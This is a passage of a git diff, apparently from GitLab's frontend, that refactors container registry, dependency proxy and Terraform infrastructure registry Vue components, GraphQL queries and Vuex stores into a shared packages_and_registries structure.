+ @select="selectItem(item)"
+ @delete="$emit('delete', [item])"
+ />
+ </template>
+ </registry-list>
</template>
</template>
</div>
diff --git a/app/assets/javascripts/packages_and_registries/container_registry/explorer/graphql/queries/get_container_repositories_details.query.graphql b/app/assets/javascripts/packages_and_registries/container_registry/explorer/graphql/queries/get_container_repositories_details.query.graphql
index 01cb7fa1cab..bc34e9b5ef2 100644
--- a/app/assets/javascripts/packages_and_registries/container_registry/explorer/graphql/queries/get_container_repositories_details.query.graphql
+++ b/app/assets/javascripts/packages_and_registries/container_registry/explorer/graphql/queries/get_container_repositories_details.query.graphql
@@ -9,6 +9,7 @@ query getContainerRepositoriesDetails(
$sort: ContainerRepositorySort
) {
project(fullPath: $fullPath) @skip(if: $isGroupPage) {
+ id
containerRepositories(
name: $name
after: $after
@@ -24,6 +25,7 @@ query getContainerRepositoriesDetails(
}
}
group(fullPath: $fullPath) @include(if: $isGroupPage) {
+ id
containerRepositories(
name: $name
after: $after
diff --git a/app/assets/javascripts/packages_and_registries/container_registry/explorer/graphql/queries/get_container_repository_details.query.graphql b/app/assets/javascripts/packages_and_registries/container_registry/explorer/graphql/queries/get_container_repository_details.query.graphql
index b5a99fd9ac1..916740f41b8 100644
--- a/app/assets/javascripts/packages_and_registries/container_registry/explorer/graphql/queries/get_container_repository_details.query.graphql
+++ b/app/assets/javascripts/packages_and_registries/container_registry/explorer/graphql/queries/get_container_repository_details.query.graphql
@@ -11,6 +11,7 @@ query getContainerRepositoryDetails($id: ID!) {
expirationPolicyStartedAt
expirationPolicyCleanupStatus
project {
+ id
visibility
path
containerExpirationPolicy {
diff --git a/app/assets/javascripts/packages_and_registries/container_registry/explorer/graphql/queries/get_container_repository_tags.query.graphql b/app/assets/javascripts/packages_and_registries/container_registry/explorer/graphql/queries/get_container_repository_tags.query.graphql
index a703c2dd0ac..502382010f9 100644
--- a/app/assets/javascripts/packages_and_registries/container_registry/explorer/graphql/queries/get_container_repository_tags.query.graphql
+++ b/app/assets/javascripts/packages_and_registries/container_registry/explorer/graphql/queries/get_container_repository_tags.query.graphql
@@ -9,6 +9,7 @@ query getContainerRepositoryTags(
) {
containerRepository(id: $id) {
id
+ tagsCount
tags(after: $after, before: $before, first: $first, last: $last) {
nodes {
digest
diff --git a/app/assets/javascripts/packages_and_registries/container_registry/explorer/pages/details.vue b/app/assets/javascripts/packages_and_registries/container_registry/explorer/pages/details.vue
index feabc4f770b..bc6e3091f0e 100644
--- a/app/assets/javascripts/packages_and_registries/container_registry/explorer/pages/details.vue
+++ b/app/assets/javascripts/packages_and_registries/container_registry/explorer/pages/details.vue
@@ -25,9 +25,11 @@ import {
UNFINISHED_STATUS,
MISSING_OR_DELETED_IMAGE_BREADCRUMB,
ROOT_IMAGE_TEXT,
+ GRAPHQL_PAGE_SIZE,
} from '../constants/index';
import deleteContainerRepositoryTagsMutation from '../graphql/mutations/delete_container_repository_tags.mutation.graphql';
import getContainerRepositoryDetailsQuery from '../graphql/queries/get_container_repository_details.query.graphql';
+import getContainerRepositoryTagsQuery from '../graphql/queries/get_container_repository_tags.query.graphql';
export default {
name: 'RegistryDetailsPage',
@@ -133,8 +135,8 @@ export default {
awaitRefetchQueries: true,
refetchQueries: [
{
- query: getContainerRepositoryDetailsQuery,
- variables: this.queryVariables,
+ query: getContainerRepositoryTagsQuery,
+ variables: { ...this.queryVariables, first: GRAPHQL_PAGE_SIZE },
},
],
});
diff --git a/app/assets/javascripts/packages_and_registries/container_registry/explorer/pages/list.vue b/app/assets/javascripts/packages_and_registries/container_registry/explorer/pages/list.vue
index 73b957f42f2..3274de05803 100644
--- a/app/assets/javascripts/packages_and_registries/container_registry/explorer/pages/list.vue
+++ b/app/assets/javascripts/packages_and_registries/container_registry/explorer/pages/list.vue
@@ -388,6 +388,7 @@ export default {
<template #default="{ doDelete }">
<gl-modal
ref="deleteModal"
+ size="sm"
modal-id="delete-image-modal"
:action-primary="{ text: __('Remove'), attributes: { variant: 'danger' } }"
@primary="doDelete"
diff --git a/app/assets/javascripts/packages_and_registries/dependency_proxy/app.vue b/app/assets/javascripts/packages_and_registries/dependency_proxy/app.vue
index 71e8cf4f634..eb112238c11 100644
--- a/app/assets/javascripts/packages_and_registries/dependency_proxy/app.vue
+++ b/app/assets/javascripts/packages_and_registries/dependency_proxy/app.vue
@@ -1,11 +1,11 @@
<script>
import {
GlAlert,
+ GlEmptyState,
GlFormGroup,
GlFormInputGroup,
GlSkeletonLoader,
GlSprintf,
- GlEmptyState,
} from '@gitlab/ui';
import { s__ } from '~/locale';
import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
@@ -36,15 +36,15 @@ export default {
proxyNotAvailableText: s__(
'DependencyProxy|Dependency Proxy feature is limited to public groups for now.',
),
- proxyDisabledText: s__(
- 'DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner.',
- ),
proxyImagePrefix: s__('DependencyProxy|Dependency Proxy image prefix'),
copyImagePrefixText: s__('DependencyProxy|Copy prefix'),
blobCountAndSize: s__('DependencyProxy|Contains %{count} blobs of images (%{size})'),
pageTitle: s__('DependencyProxy|Dependency Proxy'),
noManifestTitle: s__('DependencyProxy|There are no images in the cache'),
},
+ links: {
+ DEPENDENCY_PROXY_DOCS_PATH,
+ },
data() {
return {
group: {},
@@ -70,9 +70,7 @@ export default {
},
];
},
- dependencyProxyEnabled() {
- return this.group?.dependencyProxySetting?.enabled;
- },
+
queryVariables() {
return { fullPath: this.groupPath, first: GRAPHQL_PAGE_SIZE };
},
@@ -122,7 +120,7 @@ export default {
<gl-skeleton-loader v-else-if="$apollo.queries.group.loading" />
- <div v-else-if="dependencyProxyEnabled" data-testid="main-area">
+ <div v-else data-testid="main-area">
<gl-form-group :label="$options.i18n.proxyImagePrefix">
<gl-form-input-group
readonly
@@ -161,8 +159,5 @@ export default {
:title="$options.i18n.noManifestTitle"
/>
</div>
- <gl-alert v-else :dismissible="false" data-testid="proxy-disabled">
- {{ $options.i18n.proxyDisabledText }}
- </gl-alert>
</div>
</template>
diff --git a/app/assets/javascripts/packages_and_registries/dependency_proxy/graphql/queries/get_dependency_proxy_details.query.graphql b/app/assets/javascripts/packages_and_registries/dependency_proxy/graphql/queries/get_dependency_proxy_details.query.graphql
index 63d5469c955..9241dccb2d5 100644
--- a/app/assets/javascripts/packages_and_registries/dependency_proxy/graphql/queries/get_dependency_proxy_details.query.graphql
+++ b/app/assets/javascripts/packages_and_registries/dependency_proxy/graphql/queries/get_dependency_proxy_details.query.graphql
@@ -8,6 +8,7 @@ query getDependencyProxyDetails(
$before: String
) {
group(fullPath: $fullPath) {
+ id
dependencyProxyBlobCount
dependencyProxyTotalSize
dependencyProxyImagePrefix
@@ -16,6 +17,7 @@ query getDependencyProxyDetails(
}
dependencyProxyManifests(after: $after, before: $before, first: $first, last: $last) {
nodes {
+ id
createdAt
imageName
}
diff --git a/app/assets/javascripts/packages_and_registries/infrastructure_registry/components/infrastructure_search.vue b/app/assets/javascripts/packages_and_registries/infrastructure_registry/components/infrastructure_search.vue
deleted file mode 100644
index 4928da862ea..00000000000
--- a/app/assets/javascripts/packages_and_registries/infrastructure_registry/components/infrastructure_search.vue
+++ /dev/null
@@ -1,45 +0,0 @@
-<script>
-import { mapState, mapActions } from 'vuex';
-import { LIST_KEY_PACKAGE_TYPE } from '~/packages/list/constants';
-import { sortableFields } from '~/packages/list/utils';
-import RegistrySearch from '~/vue_shared/components/registry/registry_search.vue';
-import UrlSync from '~/vue_shared/components/url_sync.vue';
-
-export default {
- components: { RegistrySearch, UrlSync },
- computed: {
- ...mapState({
- isGroupPage: (state) => state.config.isGroupPage,
- sorting: (state) => state.sorting,
- filter: (state) => state.filter,
- }),
- sortableFields() {
- return sortableFields(this.isGroupPage).filter((h) => h.orderBy !== LIST_KEY_PACKAGE_TYPE);
- },
- },
- methods: {
- ...mapActions(['setSorting', 'setFilter']),
- updateSorting(newValue) {
- this.setSorting(newValue);
- this.$emit('update');
- },
- },
-};
-</script>
-
-<template>
- <url-sync>
- <template #default="{ updateQuery }">
- <registry-search
- :filter="filter"
- :sorting="sorting"
- :tokens="[]"
- :sortable-fields="sortableFields"
- @sorting:changed="updateSorting"
- @filter:changed="setFilter"
- @filter:submit="$emit('update')"
- @query:changed="updateQuery"
- />
- </template>
- </url-sync>
-</template>
diff --git a/app/assets/javascripts/packages_and_registries/infrastructure_registry/details/components/app.vue b/app/assets/javascripts/packages_and_registries/infrastructure_registry/details/components/app.vue
index 6016757c1b9..f198d2e1bfa 100644
--- a/app/assets/javascripts/packages_and_registries/infrastructure_registry/details/components/app.vue
+++ b/app/assets/javascripts/packages_and_registries/infrastructure_registry/details/components/app.vue
@@ -16,10 +16,13 @@ import { s__, __ } from '~/locale';
import TerraformTitle from '~/packages_and_registries/infrastructure_registry/details/components/details_title.vue';
import TerraformInstallation from '~/packages_and_registries/infrastructure_registry/details/components/terraform_installation.vue';
import Tracking from '~/tracking';
-import PackageListRow from '~/packages/shared/components/package_list_row.vue';
-import PackagesListLoader from '~/packages/shared/components/packages_list_loader.vue';
-import { TrackingActions, SHOW_DELETE_SUCCESS_ALERT } from '~/packages/shared/constants';
-import { packageTypeToTrackCategory } from '~/packages/shared/utils';
+import PackageListRow from '~/packages_and_registries/infrastructure_registry/shared/package_list_row.vue';
+import PackagesListLoader from '~/packages_and_registries/shared/components/packages_list_loader.vue';
+import {
+ TRACKING_ACTIONS,
+ SHOW_DELETE_SUCCESS_ALERT,
+} from '~/packages_and_registries/shared/constants';
+import { TRACK_CATEGORY } from '~/packages_and_registries/infrastructure_registry/shared/constants';
import PackageFiles from './package_files.vue';
import PackageHistory from './package_history.vue';
@@ -44,7 +47,7 @@ export default {
GlModal: GlModalDirective,
},
mixins: [Tracking.mixin()],
- trackingActions: { ...TrackingActions },
+ trackingActions: { ...TRACKING_ACTIONS },
data() {
return {
fileToDelete: null,
@@ -68,7 +71,7 @@ export default {
},
tracking() {
return {
- category: packageTypeToTrackCategory(this.packageEntity.package_type),
+ category: TRACK_CATEGORY,
};
},
hasVersions() {
@@ -86,7 +89,7 @@ export default {
}
},
async confirmPackageDeletion() {
- this.track(TrackingActions.DELETE_PACKAGE);
+ this.track(TRACKING_ACTIONS.DELETE_PACKAGE);
await this.deletePackage();
const returnTo =
!this.groupListUrl || document.referrer.includes(this.projectName)
@@ -96,12 +99,12 @@ export default {
window.location.replace(`${returnTo}?${modalQuery}`);
},
handleFileDelete(file) {
- this.track(TrackingActions.REQUEST_DELETE_PACKAGE_FILE);
+ this.track(TRACKING_ACTIONS.REQUEST_DELETE_PACKAGE_FILE);
this.fileToDelete = { ...file };
this.$refs.deleteFileModal.show();
},
confirmFileDelete() {
- this.track(TrackingActions.DELETE_PACKAGE_FILE);
+ this.track(TRACKING_ACTIONS.DELETE_PACKAGE_FILE);
this.deletePackageFile(this.fileToDelete.id);
this.fileToDelete = null;
},
@@ -203,6 +206,7 @@ export default {
<gl-modal
ref="deleteModal"
+ size="sm"
modal-id="delete-modal"
:action-primary="$options.modal.packageDeletePrimaryAction"
:action-cancel="$options.modal.cancelAction"
@@ -223,6 +227,7 @@ export default {
<gl-modal
ref="deleteFileModal"
+ size="sm"
modal-id="delete-file-modal"
:action-primary="$options.modal.fileDeletePrimaryAction"
:action-cancel="$options.modal.cancelAction"
diff --git a/app/assets/javascripts/packages_and_registries/infrastructure_registry/details/store/actions.js b/app/assets/javascripts/packages_and_registries/infrastructure_registry/details/store/actions.js
index a03fa8d9d63..26d4aa13715 100644
--- a/app/assets/javascripts/packages_and_registries/infrastructure_registry/details/store/actions.js
+++ b/app/assets/javascripts/packages_and_registries/infrastructure_registry/details/store/actions.js
@@ -4,7 +4,7 @@ import {
DELETE_PACKAGE_ERROR_MESSAGE,
DELETE_PACKAGE_FILE_ERROR_MESSAGE,
DELETE_PACKAGE_FILE_SUCCESS_MESSAGE,
-} from '~/packages/shared/constants';
+} from '~/packages_and_registries/shared/constants';
import { FETCH_PACKAGE_VERSIONS_ERROR } from '../constants';
import * as types from './mutation_types';
diff --git a/app/assets/javascripts/packages_and_registries/infrastructure_registry/list/components/infrastructure_search.vue b/app/assets/javascripts/packages_and_registries/infrastructure_registry/list/components/infrastructure_search.vue
new file mode 100644
index 00000000000..c611f92036d
--- /dev/null
+++ b/app/assets/javascripts/packages_and_registries/infrastructure_registry/list/components/infrastructure_search.vue
@@ -0,0 +1,45 @@
+<script>
+import { mapState, mapActions } from 'vuex';
+import { LIST_KEY_PACKAGE_TYPE } from '~/packages_and_registries/infrastructure_registry/list/constants';
+import { sortableFields } from '~/packages_and_registries/infrastructure_registry/list/utils';
+import RegistrySearch from '~/vue_shared/components/registry/registry_search.vue';
+import UrlSync from '~/vue_shared/components/url_sync.vue';
+
+export default {
+ components: { RegistrySearch, UrlSync },
+ computed: {
+ ...mapState({
+ isGroupPage: (state) => state.config.isGroupPage,
+ sorting: (state) => state.sorting,
+ filter: (state) => state.filter,
+ }),
+ sortableFields() {
+ return sortableFields(this.isGroupPage).filter((h) => h.orderBy !== LIST_KEY_PACKAGE_TYPE);
+ },
+ },
+ methods: {
+ ...mapActions(['setSorting', 'setFilter']),
+ updateSorting(newValue) {
+ this.setSorting(newValue);
+ this.$emit('update');
+ },
+ },
+};
+</script>
+
+<template>
+ <url-sync>
+ <template #default="{ updateQuery }">
+ <registry-search
+ :filter="filter"
+ :sorting="sorting"
+ :tokens="[]"
+ :sortable-fields="sortableFields"
+ @sorting:changed="updateSorting"
+ @filter:changed="setFilter"
+ @filter:submit="$emit('update')"
+ @query:changed="updateQuery"
+ />
+ </template>
+ </url-sync>
+</template>
diff --git a/app/assets/javascripts/packages_and_registries/infrastructure_registry/components/infrastructure_title.vue b/app/assets/javascripts/packages_and_registries/infrastructure_registry/list/components/infrastructure_title.vue
index 2a479c65d0c..2a479c65d0c 100644
--- a/app/assets/javascripts/packages_and_registries/infrastructure_registry/components/infrastructure_title.vue
+++ b/app/assets/javascripts/packages_and_registries/infrastructure_registry/list/components/infrastructure_title.vue
diff --git a/app/assets/javascripts/packages_and_registries/infrastructure_registry/list/components/packages_list.vue b/app/assets/javascripts/packages_and_registries/infrastructure_registry/list/components/packages_list.vue
new file mode 100644
index 00000000000..a5f367bc1f6
--- /dev/null
+++ b/app/assets/javascripts/packages_and_registries/infrastructure_registry/list/components/packages_list.vue
@@ -0,0 +1,127 @@
+<script>
+import { GlPagination, GlModal, GlSprintf } from '@gitlab/ui';
+import { mapState, mapGetters } from 'vuex';
+import { s__ } from '~/locale';
+import Tracking from '~/tracking';
+import PackagesListRow from '~/packages_and_registries/infrastructure_registry/shared/package_list_row.vue';
+import PackagesListLoader from '~/packages_and_registries/shared/components/packages_list_loader.vue';
+import { TRACKING_ACTIONS } from '~/packages_and_registries/shared/constants';
+import { TRACK_CATEGORY } from '~/packages_and_registries/infrastructure_registry/shared/constants';
+
+export default {
+ components: {
+ GlPagination,
+ GlModal,
+ GlSprintf,
+ PackagesListLoader,
+ PackagesListRow,
+ },
+ mixins: [Tracking.mixin()],
+ data() {
+ return {
+ itemToBeDeleted: null,
+ };
+ },
+ computed: {
+ ...mapState({
+ perPage: (state) => state.pagination.perPage,
+ totalItems: (state) => state.pagination.total,
+ page: (state) => state.pagination.page,
+ isGroupPage: (state) => state.config.isGroupPage,
+ isLoading: 'isLoading',
+ }),
+ ...mapGetters({ list: 'getList' }),
+ currentPage: {
+ get() {
+ return this.page;
+ },
+ set(value) {
+ this.$emit('page:changed', value);
+ },
+ },
+ isListEmpty() {
+ return !this.list || this.list.length === 0;
+ },
+ modalAction() {
+ return s__('PackageRegistry|Delete package');
+ },
+ deletePackageName() {
+ return this.itemToBeDeleted?.name ?? '';
+ },
+ tracking() {
+ return {
+ category: TRACK_CATEGORY,
+ };
+ },
+ },
+ methods: {
+ setItemToBeDeleted(item) {
+ this.itemToBeDeleted = { ...item };
+ this.track(TRACKING_ACTIONS.REQUEST_DELETE_PACKAGE);
+ this.$refs.packageListDeleteModal.show();
+ },
+ deleteItemConfirmation() {
+ this.$emit('package:delete', this.itemToBeDeleted);
+ this.track(TRACKING_ACTIONS.DELETE_PACKAGE);
+ this.itemToBeDeleted = null;
+ },
+ deleteItemCanceled() {
+ this.track(TRACKING_ACTIONS.CANCEL_DELETE_PACKAGE);
+ this.itemToBeDeleted = null;
+ },
+ },
+ i18n: {
+ deleteModalContent: s__(
+ 'PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?',
+ ),
+ },
+};
+</script>
+
+<template>
+ <div class="gl-display-flex gl-flex-direction-column">
+ <slot v-if="isListEmpty && !isLoading" name="empty-state"></slot>
+
+ <div v-else-if="isLoading">
+ <packages-list-loader />
+ </div>
+
+ <template v-else>
+ <div data-qa-selector="packages-table">
+ <packages-list-row
+ v-for="packageEntity in list"
+ :key="packageEntity.id"
+ :package-entity="packageEntity"
+ :package-link="packageEntity._links.web_path"
+ :is-group="isGroupPage"
+ @packageToDelete="setItemToBeDeleted"
+ />
+ </div>
+
+ <gl-pagination
+ v-model="currentPage"
+ :per-page="perPage"
+ :total-items="totalItems"
+ align="center"
+ class="gl-w-full gl-mt-3"
+ />
+
+ <gl-modal
+ ref="packageListDeleteModal"
+ size="sm"
+ modal-id="confirm-delete-pacakge"
+ ok-variant="danger"
+ @ok="deleteItemConfirmation"
+ @cancel="deleteItemCanceled"
+ >
+ <template #modal-title>{{ modalAction }}</template>
+ <template #modal-ok>{{ modalAction }}</template>
+ <gl-sprintf :message="$options.i18n.deleteModalContent">
+ <template #name>
+ <strong>{{ deletePackageName }}</strong>
+ </template>
+ </gl-sprintf>
+ </gl-modal>
+ </template>
+ </div>
+</template>
diff --git a/app/assets/javascripts/packages_and_registries/infrastructure_registry/list/components/packages_list_app.vue b/app/assets/javascripts/packages_and_registries/infrastructure_registry/list/components/packages_list_app.vue
new file mode 100644
index 00000000000..462618a7f12
--- /dev/null
+++ b/app/assets/javascripts/packages_and_registries/infrastructure_registry/list/components/packages_list_app.vue
@@ -0,0 +1,119 @@
+<script>
+import { GlEmptyState, GlLink, GlSprintf } from '@gitlab/ui';
+import { mapActions, mapState } from 'vuex';
+import createFlash from '~/flash';
+import { historyReplaceState } from '~/lib/utils/common_utils';
+import { s__ } from '~/locale';
+import {
+ SHOW_DELETE_SUCCESS_ALERT,
+ FILTERED_SEARCH_TERM,
+} from '~/packages_and_registries/shared/constants';
+
+import { getQueryParams, extractFilterAndSorting } from '~/packages_and_registries/shared/utils';
+import InfrastructureTitle from '~/packages_and_registries/infrastructure_registry/list/components/infrastructure_title.vue';
+import InfrastructureSearch from '~/packages_and_registries/infrastructure_registry/list/components/infrastructure_search.vue';
+import PackageList from '~/packages_and_registries/infrastructure_registry/list/components/packages_list.vue';
+import { DELETE_PACKAGE_SUCCESS_MESSAGE } from '~/packages_and_registries/infrastructure_registry/list/constants';
+
+export default {
+ components: {
+ GlEmptyState,
+ GlLink,
+ GlSprintf,
+ PackageList,
+ InfrastructureTitle,
+ InfrastructureSearch,
+ },
+ inject: {
+ emptyPageTitle: {
+ from: 'emptyPageTitle',
+ default: s__('PackageRegistry|There are no packages yet'),
+ },
+ noResultsText: {
+ from: 'noResultsText',
+ default: s__(
+ 'PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab.',
+ ),
+ },
+ },
+ computed: {
+ ...mapState({
+ emptyListIllustration: (state) => state.config.emptyListIllustration,
+ emptyListHelpUrl: (state) => state.config.emptyListHelpUrl,
+ filter: (state) => state.filter,
+ selectedType: (state) => state.selectedType,
+ packageHelpUrl: (state) => state.config.packageHelpUrl,
+ packagesCount: (state) => state.pagination?.total,
+ }),
+ emptySearch() {
+ return (
+ this.filter.filter((f) => f.type !== FILTERED_SEARCH_TERM || f.value?.data).length === 0
+ );
+ },
+
+ emptyStateTitle() {
+ return this.emptySearch
+ ? this.emptyPageTitle
+ : s__('PackageRegistry|Sorry, your filter produced no results');
+ },
+ },
+ mounted() {
+ const queryParams = getQueryParams(window.document.location.search);
+ const { sorting, filters } = extractFilterAndSorting(queryParams);
+ this.setSorting(sorting);
+ this.setFilter(filters);
+ this.requestPackagesList();
+ this.checkDeleteAlert();
+ },
+ methods: {
+ ...mapActions([
+ 'requestPackagesList',
+ 'requestDeletePackage',
+ 'setSelectedType',
+ 'setSorting',
+ 'setFilter',
+ ]),
+ onPageChanged(page) {
+ return this.requestPackagesList({ page });
+ },
+ onPackageDeleteRequest(item) {
+ return this.requestDeletePackage(item);
+ },
+ checkDeleteAlert() {
+ const urlParams = new URLSearchParams(window.location.search);
+ const showAlert = urlParams.get(SHOW_DELETE_SUCCESS_ALERT);
+ if (showAlert) {
+ // to be refactored to use gl-alert
+ createFlash({ message: DELETE_PACKAGE_SUCCESS_MESSAGE, type: 'notice' });
+ const cleanUrl = window.location.href.split('?')[0];
+ historyReplaceState(cleanUrl);
+ }
+ },
+ },
+ i18n: {
+ widenFilters: s__('PackageRegistry|To widen your search, change or remove the filters above.'),
+ },
+};
+</script>
+
+<template>
+ <div>
+ <infrastructure-title :help-url="packageHelpUrl" :count="packagesCount" />
+ <infrastructure-search @update="requestPackagesList" />
+
+ <package-list @page:changed="onPageChanged" @package:delete="onPackageDeleteRequest">
+ <template #empty-state>
+ <gl-empty-state :title="emptyStateTitle" :svg-path="emptyListIllustration">
+ <template #description>
+ <gl-sprintf v-if="!emptySearch" :message="$options.i18n.widenFilters" />
+ <gl-sprintf v-else :message="noResultsText">
+ <template #noPackagesLink="{ content }">
+ <gl-link :href="emptyListHelpUrl" target="_blank">{{ content }}</gl-link>
+ </template>
+ </gl-sprintf>
+ </template>
+ </gl-empty-state>
+ </template>
+ </package-list>
+ </div>
+</template>
diff --git a/app/assets/javascripts/packages_and_registries/infrastructure_registry/list/constants.js b/app/assets/javascripts/packages_and_registries/infrastructure_registry/list/constants.js
new file mode 100644
index 00000000000..7af3fc1c2db
--- /dev/null
+++ b/app/assets/javascripts/packages_and_registries/infrastructure_registry/list/constants.js
@@ -0,0 +1,51 @@
+import { __ } from '~/locale';
+
+export const FETCH_PACKAGES_LIST_ERROR_MESSAGE = __(
+ 'Something went wrong while fetching the packages list.',
+);
+export const DELETE_PACKAGE_SUCCESS_MESSAGE = __('Package deleted successfully');
+
+export const DEFAULT_PAGE = 1;
+export const DEFAULT_PAGE_SIZE = 20;
+
+export const GROUP_PAGE_TYPE = 'groups';
+
+export const LIST_KEY_NAME = 'name';
+export const LIST_KEY_PROJECT = 'project_path';
+export const LIST_KEY_VERSION = 'version';
+export const LIST_KEY_PACKAGE_TYPE = 'type';
+export const LIST_KEY_CREATED_AT = 'created_at';
+
+export const LIST_LABEL_NAME = __('Name');
+export const LIST_LABEL_PROJECT = __('Project');
+export const LIST_LABEL_VERSION = __('Version');
+export const LIST_LABEL_PACKAGE_TYPE = __('Type');
+export const LIST_LABEL_CREATED_AT = __('Published');
+
+// The following is not translated because it is used to build a JavaScript exception error message
+export const MISSING_DELETE_PATH_ERROR = 'Missing delete_api_path link';
+
+export const SORT_FIELDS = [
+ {
+ orderBy: LIST_KEY_NAME,
+ label: LIST_LABEL_NAME,
+ },
+ {
+ orderBy: LIST_KEY_PROJECT,
+ label: LIST_LABEL_PROJECT,
+ },
+ {
+ orderBy: LIST_KEY_VERSION,
+ label: LIST_LABEL_VERSION,
+ },
+ {
+ orderBy: LIST_KEY_PACKAGE_TYPE,
+ label: LIST_LABEL_PACKAGE_TYPE,
+ },
+ {
+ orderBy: LIST_KEY_CREATED_AT,
+ label: LIST_LABEL_CREATED_AT,
+ },
+];
+
+export const TERRAFORM_SEARCH_TYPE = Object.freeze({ value: { data: 'terraform_module' } });
diff --git a/app/assets/javascripts/packages_and_registries/infrastructure_registry/list/stores/actions.js b/app/assets/javascripts/packages_and_registries/infrastructure_registry/list/stores/actions.js
new file mode 100644
index 00000000000..488860e5bc2
--- /dev/null
+++ b/app/assets/javascripts/packages_and_registries/infrastructure_registry/list/stores/actions.js
@@ -0,0 +1,83 @@
+import Api from '~/api';
+import createFlash from '~/flash';
+import axios from '~/lib/utils/axios_utils';
+import { DELETE_PACKAGE_ERROR_MESSAGE } from '~/packages_and_registries/shared/constants';
+import {
+ FETCH_PACKAGES_LIST_ERROR_MESSAGE,
+ DELETE_PACKAGE_SUCCESS_MESSAGE,
+ DEFAULT_PAGE,
+ DEFAULT_PAGE_SIZE,
+ MISSING_DELETE_PATH_ERROR,
+ TERRAFORM_SEARCH_TYPE,
+} from '../constants';
+import { getNewPaginationPage } from '../utils';
+import * as types from './mutation_types';
+
+export const setInitialState = ({ commit }, data) => commit(types.SET_INITIAL_STATE, data);
+export const setLoading = ({ commit }, data) => commit(types.SET_MAIN_LOADING, data);
+export const setSorting = ({ commit }, data) => commit(types.SET_SORTING, data);
+export const setFilter = ({ commit }, data) => commit(types.SET_FILTER, data);
+
+export const receivePackagesListSuccess = ({ commit }, { data, headers }) => {
+ commit(types.SET_PACKAGE_LIST_SUCCESS, data);
+ commit(types.SET_PAGINATION, headers);
+};
+
+export const requestPackagesList = ({ dispatch, state }, params = {}) => {
+ dispatch('setLoading', true);
+
+ const { page = DEFAULT_PAGE, per_page = DEFAULT_PAGE_SIZE } = params;
+ const { sort, orderBy } = state.sorting;
+ const type = state.config.forceTerraform
+ ? TERRAFORM_SEARCH_TYPE
+ : state.filter.find((f) => f.type === 'type');
+ const name = state.filter.find((f) => f.type === 'filtered-search-term');
+ const packageFilters = { package_type: type?.value?.data, package_name: name?.value?.data };
+
+ const apiMethod = state.config.isGroupPage ? 'groupPackages' : 'projectPackages';
+
+ return Api[apiMethod](state.config.resourceId, {
+ params: { page, per_page, sort, order_by: orderBy, ...packageFilters },
+ })
+ .then(({ data, headers }) => {
+ dispatch('receivePackagesListSuccess', { data, headers });
+ })
+ .catch(() => {
+ createFlash({
+ message: FETCH_PACKAGES_LIST_ERROR_MESSAGE,
+ });
+ })
+ .finally(() => {
+ dispatch('setLoading', false);
+ });
+};
+
+export const requestDeletePackage = ({ dispatch, state }, { _links }) => {
+ if (!_links || !_links.delete_api_path) {
+ createFlash({
+ message: DELETE_PACKAGE_ERROR_MESSAGE,
+ });
+ const error = new Error(MISSING_DELETE_PATH_ERROR);
+ return Promise.reject(error);
+ }
+
+ dispatch('setLoading', true);
+ return axios
+ .delete(_links.delete_api_path)
+ .then(() => {
+ const { page: currentPage, perPage, total } = state.pagination;
+ const page = getNewPaginationPage(currentPage, perPage, total - 1);
+
+ dispatch('requestPackagesList', { page });
+ createFlash({
+ message: DELETE_PACKAGE_SUCCESS_MESSAGE,
+ type: 'success',
+ });
+ })
+ .catch(() => {
+ dispatch('setLoading', false);
+ createFlash({
+ message: DELETE_PACKAGE_ERROR_MESSAGE,
+ });
+ });
+};
diff --git a/app/assets/javascripts/packages_and_registries/infrastructure_registry/list/stores/getters.js b/app/assets/javascripts/packages_and_registries/infrastructure_registry/list/stores/getters.js
new file mode 100644
index 00000000000..5989303280e
--- /dev/null
+++ b/app/assets/javascripts/packages_and_registries/infrastructure_registry/list/stores/getters.js
@@ -0,0 +1,5 @@
+import { beautifyPath } from '~/packages_and_registries/shared/utils';
+import { LIST_KEY_PROJECT } from '../constants';
+
+export default (state) =>
+ state.packages.map((p) => ({ ...p, projectPathName: beautifyPath(p[LIST_KEY_PROJECT]) }));
diff --git a/app/assets/javascripts/packages/list/stores/index.js b/app/assets/javascripts/packages_and_registries/infrastructure_registry/list/stores/index.js
index 1d6a4bf831d..1d6a4bf831d 100644
--- a/app/assets/javascripts/packages/list/stores/index.js
+++ b/app/assets/javascripts/packages_and_registries/infrastructure_registry/list/stores/index.js
diff --git a/app/assets/javascripts/packages/list/stores/mutation_types.js b/app/assets/javascripts/packages_and_registries/infrastructure_registry/list/stores/mutation_types.js
index 561ad97f7e3..561ad97f7e3 100644
--- a/app/assets/javascripts/packages/list/stores/mutation_types.js
+++ b/app/assets/javascripts/packages_and_registries/infrastructure_registry/list/stores/mutation_types.js
diff --git a/app/assets/javascripts/packages/list/stores/mutations.js b/app/assets/javascripts/packages_and_registries/infrastructure_registry/list/stores/mutations.js
index 98165e581b0..98165e581b0 100644
--- a/app/assets/javascripts/packages/list/stores/mutations.js
+++ b/app/assets/javascripts/packages_and_registries/infrastructure_registry/list/stores/mutations.js
diff --git a/app/assets/javascripts/packages/list/stores/state.js b/app/assets/javascripts/packages_and_registries/infrastructure_registry/list/stores/state.js
index 60f02eddc9f..60f02eddc9f 100644
--- a/app/assets/javascripts/packages/list/stores/state.js
+++ b/app/assets/javascripts/packages_and_registries/infrastructure_registry/list/stores/state.js
diff --git a/app/assets/javascripts/packages/list/utils.js b/app/assets/javascripts/packages_and_registries/infrastructure_registry/list/utils.js
index 537b30d2ca4..537b30d2ca4 100644
--- a/app/assets/javascripts/packages/list/utils.js
+++ b/app/assets/javascripts/packages_and_registries/infrastructure_registry/list/utils.js
diff --git a/app/assets/javascripts/packages_and_registries/infrastructure_registry/list_app_bundle.js b/app/assets/javascripts/packages_and_registries/infrastructure_registry/list_app_bundle.js
index 7e6e98f4fb5..1467218dd41 100644
--- a/app/assets/javascripts/packages_and_registries/infrastructure_registry/list_app_bundle.js
+++ b/app/assets/javascripts/packages_and_registries/infrastructure_registry/list_app_bundle.js
@@ -1,7 +1,7 @@
import Vue from 'vue';
import { s__ } from '~/locale';
-import PackagesListApp from '~/packages/list/components/packages_list_app.vue';
-import { createStore } from '~/packages/list/stores';
+import PackagesListApp from '~/packages_and_registries/infrastructure_registry/list/components/packages_list_app.vue';
+import { createStore } from '~/packages_and_registries/infrastructure_registry/list/stores';
import Translate from '~/vue_shared/translate';
Vue.use(Translate);
@@ -18,9 +18,6 @@ export default () => {
PackagesListApp,
},
